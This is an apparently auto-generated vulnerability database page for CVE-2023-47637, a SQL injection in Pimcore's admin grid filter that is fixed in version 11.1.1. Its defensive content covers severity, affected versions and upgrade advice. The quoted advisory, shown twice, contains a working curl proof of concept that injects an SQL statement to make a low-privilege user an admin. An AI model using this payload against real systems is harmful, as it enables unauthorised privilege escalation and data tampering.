CVE-2023-47637: Pimcore/pimcore :getFilterConditionExt() Vulnerability

HIGH
Advisory Identifier: GHSA-72hh-xf79-429p
CVSS 8.8
CWE-89
Published
Advisory Summary

CVE-2023-47637 is a HIGH (CVSS 8.8) :getfilterconditionext() vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Pimcore/pimcore libraries in the Packagist ecosystem. The issue involves :getfilterconditionext(). Remediation is available by upgrading affected packages to version 11.1.1.

CVE-2023-47637 at a Glance

CVE Identifier CVE-2023-47637
GHSA Identifier GHSA-72hh-xf79-429p
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Pimcore/pimcore
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-47637

To remediate this vulnerability, upgrade all affected Pimcore/pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pimcore/pimcore fixed: 11.1.1
Upgrade pimcore/pimcore to 11.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pimcore/pimcore

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-47637, inspect your project dependencies for Pimcore/pimcore:

inspect dependencies for pimcore/pimcore

Analyze the terminal output to locate any version of Pimcore/pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.1.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Pimcore/pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements. ### Details The `/admin/object/grid-proxy` endpoint calls `getFilterCondition()` on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL. One implementation of `getFilterCondition()` is in `Multiselect`, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312 ### PoC * Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content) * Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled. * Log out and back in with the new user. Grab the `X-pimcore-csrf-token` header from any request the backend does, as well as the `PHPSESSID` cookie. * Run the following script, substituting the values accordingly: ```bash #!/bin/bash BASE_URL=http://localhost:8084 # REPLACE THIS! CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1" FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]" curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTER_JSON" ``` * Refresh the backend, the user is admin now. **Notes** The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one. Other important variables to adjust in the above script for other deployments are the `classId=EV&folderId=1119` parameters, which must reference an existing class and folder, as well as `"property":"tags"`, which points to a Multiselect field in this class. ### Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. ### Patches Apply [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually. ### Workarounds Update to version 11.1.1 or apply this [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.

CVE-2023-47637 Affected Pimcore/pimcore Versions

1 component(s)
Fixed Versions:
11.1.1
Product / Package Ecosystem Affected Versions Fixed Version
pimcore/pimcore
Packagist
< 11.1.1
11.1.1

References

Frequently Asked Questions

What is CVE-2023-47637?
CVE-2023-47637 is a security vulnerability in Pimcore/pimcore involving :getFilterConditionExt() under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Pimcore/pimcore versions are affected?
Affected versions include releases prior to 11.1.1 across affected packages: pimcore/pimcore.
What version fixes CVE-2023-47637?
Upgrading to 11.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pimcore/pimcore affected?
Yes, pimcore/pimcore is affected in releases prior to 11.1.1. Upgrade your dependency to 11.1.1 or later.
What is the CVSS score of CVE-2023-47637?
CVE-2023-47637 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-47637?
CVE-2023-47637 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2023-47637?
Run the dependency tree command: 'inspect dependencies for pimcore/pimcore'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-72hh-xf79-429p",
  "modified" : "2023-11-15T23:23:25Z",
  "published" : "2023-11-15T14:53:24Z",
  "aliases" : [ "CVE-2023-47637" ],
  "summary" : "Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()",
  "details" : "### Summary\n\nUser input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.\n\n### Details\n\nThe `/admin/object/grid-proxy` endpoint calls `getFilterCondition()` on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.\nOne implementation of `getFilterCondition()` is in `Multiselect`, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312\n\n### PoC\n\n* Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)\n* Enter the backend and add a new user without admin privileges, but the \"Objects\" permission enabled.\n* Log out and back in with the new user. Grab the `X-pimcore-csrf-token` header from any request the backend does, as well as the `PHPSESSID` cookie.\n* Run the following script, substituting the values accordingly:\n    ```bash\n    #!/bin/bash\n    BASE_URL=http://localhost:8084 # REPLACE THIS!\n    CSRF_TOKEN=\"bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05\" # REPLACE THIS!\n    COOKIE=\"PHPSESSID=a0f408f9af7657430a4e6a1608c80277\" # REPLACE THIS!\n    SQL=\"UPDATE users SET admin=1\"\n    \n    FILTER_JSON=\"[{\\\"property\\\":\\\"tags\\\",\\\"operator\\\":\\\"=\\\",\\\"type\\\":\\\"list\\\",\\\"value\\\":[\\\"')); ${SQL}; --\\\"]}]\"\n    \n    curl \"${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119\" \\\n\t    -X POST \\\n\t    -H \"X-pimcore-csrf-token: ${CSRF_TOKEN}\" \\\n\t    -H \"Cookie: ${COOKIE}\" \\\n\t    --data \"filter=$FILTER_JSON\"\n    ```\n* Refresh the backend, the user is admin now.\n\n**Notes**\nThe above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.\nOther important variables to adjust in the above script for other deployments are the `classId=EV&folderId=1119` parameters, which must reference an existing class and folder, as well as `\"property\":\"tags\"`, which points to a Multiselect field in this class.\n\n### Impact\n\nAny backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.\n\n### Patches\nApply [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.\n\n\n### Workarounds\nUpdate to version 11.1.1 or apply this [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/pimcore"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.1.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-72hh-xf79-429p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-47637"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pimcore/pimcore"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-15T14:53:24Z",
    "nvd_published_at" : "2023-11-15T20:15:08Z"
  }
}